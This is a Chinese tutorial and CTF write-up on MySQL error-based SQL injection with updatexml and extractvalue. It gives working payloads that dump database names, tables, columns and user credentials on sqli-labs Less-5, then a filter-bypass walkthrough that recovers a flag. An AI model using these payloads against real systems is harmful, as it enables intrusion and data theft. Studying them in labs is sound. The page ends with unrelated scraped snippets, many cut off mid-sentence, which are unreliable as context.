技术标签: web安全
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。
extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容:
函数原型:updatexml(xml_document,xpath_string,new_value)
正常语法:updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象的名称 第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值
第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。
例题:sqli-labs
Less-5?id=1' or updatexml(1,concat(0x7e,database(),0x7e),1)--+ 爆库
Less-5?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+ 爆表
Less-5?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+ 爆列
Less-5?id=1' or updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)--+ 爆数据
总结:
爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
函数原型:extractvalue(xml_document,Xpath_string)
正常语法:extractvalue(xml_document,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串
查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
1、用bp fuzz后,union|order by|等号|空格|substr等被过滤,空格没有被过滤,大致有个印象
2、爆当前的数据库名:
空格绕过:用括号()包起来就行
admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=21
->库名:geek
3、爆表名:
等号绕过:用like替换
admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=21
->表名:H4rDsq1
4、爆字段名:
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=21
->字段:id,username,password
5、
'or(extractvalue(1,concat('~',(select(password)from(H4rDsq1)))))#
flag{9f09946d-4c83-40f5-982
没出全
这时候就要想到mysql的一些函数,substr,left,right
注意:substr被过滤了
admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=21
结果:XPATH syntax error: ‘3-40f5-9828-9593ee5f3f4c}’
拼接后结果:
flag{9f09946d-4c83-40f5-9828-9593ee5f3f4c}
前言在vue项目中组件之间的通讯是很常见的问题,同时也是很重要的问题,我们大致可以将其分为三种情况:父传子:在父组件中绑定值,在子组件中用props接收子传父:在父组件中监听一个事件,在子组件中利用$emit触发这个事件并带上数据作为第二个参数,这时父组件中监听事件的回调函数就会被调用,回调函数的参数就是子组件带上来的数据,这样就可以在父组件中使用子组件的数据了,兄弟之间的传递:我们可以...
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档文章目录前言 一、pandas是什么? 二、使用步骤 1.引入库 2.读入数据 总结前言本文将介绍在Windows 10操作系统上,用Visual Studio 2019开发一个基于MySQL数据库的WebApi项目,并发布到银河麒麟高级服务器操作系统V10上的详细过程。一、创建.NET Core 3.1 WebApi项目1. 创建项目,选择ASP.NET Core Web应用程序..
DECD算法框架0.参数设置:NP、F、CR、Gend、Threshold_value、G=01.初始化群体:随机生成NP个个体,并对其进行偏好操作,后构成初始种群PG;2.评价操作:计算PG所有个体的模块度Q(→xi );3.变异操作:对PG中的每个个体 →xi 进行变异操作得到一个变异种群→ vi ;按公式(2-6)对 →vi 每个分量进行边界检测并修正,得到变异种群VG;(变异策略:rand/1)4.纠错操作:计算VG中所有变异个体→ vi 中的每个基因(节点)的社区差异值CV
语言模型评价语言模型构造完成后,如何确定好坏呢? 目前主要有两种评价方法:实用方法:通过查看该模型在实际应用(如拼写检查、机器翻译)中的表现来评价,优点是直观、实用,缺点是缺乏针对性、不够客观;理论方法:迷惑度/困惑度/混乱度(preplexity),其基本思想是给测试集的句子赋予较高概率值的语言模型较好,当语言模型训练完之后,测试集中的句子都是正常的句子,那么训练好的
android 蓝牙各种UUIDServiceDiscoveryServerServiceClassID_UUID = '{00001000-0000-1000-8000-00805F9B34FB}'BrowseGroupDescriptorServiceClassID_UUID = '{00001001-0000-1000-8000-00805F9B34FB}'PublicBrowseG...
呦呦鹿鸣一、STM32中断介绍1.1 中断概念1.2 中断全过程1.3 中断作用1.4 中断优先级二、HAL库的中断处理流程三、高低电平控制控制LED灯亮和灭四、中断实现串口通信五、总结六、参考一、STM32中断介绍1.1 中断概念中断是由内核外部产生的,一般由硬件引起,比如外设中断和外部中断等。1.2 中断全过程中断发生:当CPU在处理某一事件A时,发生了另一事件B,请求CPU迅速去处理。中断处理:CPU暂停当前的工作,转去处理事件B。中断返回:当CPU将事件B处理完毕后,再回到事件A
前言Xfce Desktop Environment website:https://www.xfce.org/Xfce-维基百科:https://zh.wikipedia.org/wiki/XfceXfce 不是最华丽的 Linux 桌面环境,但却是相当节省系统资源的 Linux 桌面环境。就我个人的使用习惯而言,在 Linux 上,特别是 Linux 虚拟机中使用 Xfce 桌面是一...
osgEarth::Contrib::ThreeDTiles::ThreeDTilesetNode* _node;osg::BoundingSphere bss = _node->computeBound(); osgEarth::Contrib::ThreeDTiles::Tile* oe_tile = _bimModel->getTileset()->root(); optional< osg::Matrixd > osg_Matrix = oe.
在STM32F7xx的HAL库实现的USB通信中,里面存在着多个库文件和函数的调用,这一章节主要对USB接收数据的函数调用流程来进行分析,USB的数据发送部分相对来说比较容易分析。在usb通信中,STM32F7xx作为从设备,当USB接收到数据时,从而产生中断;/** * @File: stm32f7xx_it.c * @brief This function handles USB On the Go Hs global interrupt. */extern PCD_HandleTyp
一、 测试用例测试用例: 将要进行的测试工作,具体化,并且记录到一个文件中,一般情况下是一个excel【表格】 在测试用例中,明确的指定了每一步做什么操作,期望得到什么结果 测试工作 等程序员完成代码,此时可以进行前期准备工作,就是编写测试用例,将需要测试的每一项都填写到表格中 当程序员完成了代码,此时就可以开始进行测试,也就是根据表格中的内容一项一项的进行测试 1、测试用例的基本构成注意:1)测试用例编号 用例编号必须唯一 编号一般格
一、i-vectori-vector 模型是输出一个400维的向量二、d-vectoDNN 会输入一个固定长度的语音,对它做 Speaker Recognition。然后我们把这个模型的最后一层隐层抽取出来,它就是这段语音的 d-vector。不用 output layer 中的最后一层输出,因为它的维度是和训练时语者数目有关的。而是它前面的那一层隐层输出。在实际预测的时候,输入语音是不等长的,会把语音截成多段,然后取这几段特征的d-vector的平均值作为最后的speaker embedding
三点式电容LC 振荡器仿真实验报告实验目的:本仿真实验的目的是,通过仿真实验,加深对于电容LC 振荡器的认识。。实验题目:实验工具:Multisum仿真软件,计算器参考资料:电容LC振荡器ppt,《通信电子电路》教材,陈邦媛著,《电子设计从零开始》(杨欣)电容三点式振荡电路-电子制作站[1]王晓辉,王智永,韩智伟,胡帅可,谢印庆.基于三极管放大原理的电容三点式LC振荡器的设计[J].电子世界,2020(03):206.实验过程:电容三点式振荡器也称考毕兹(Colpitts,也叫科耳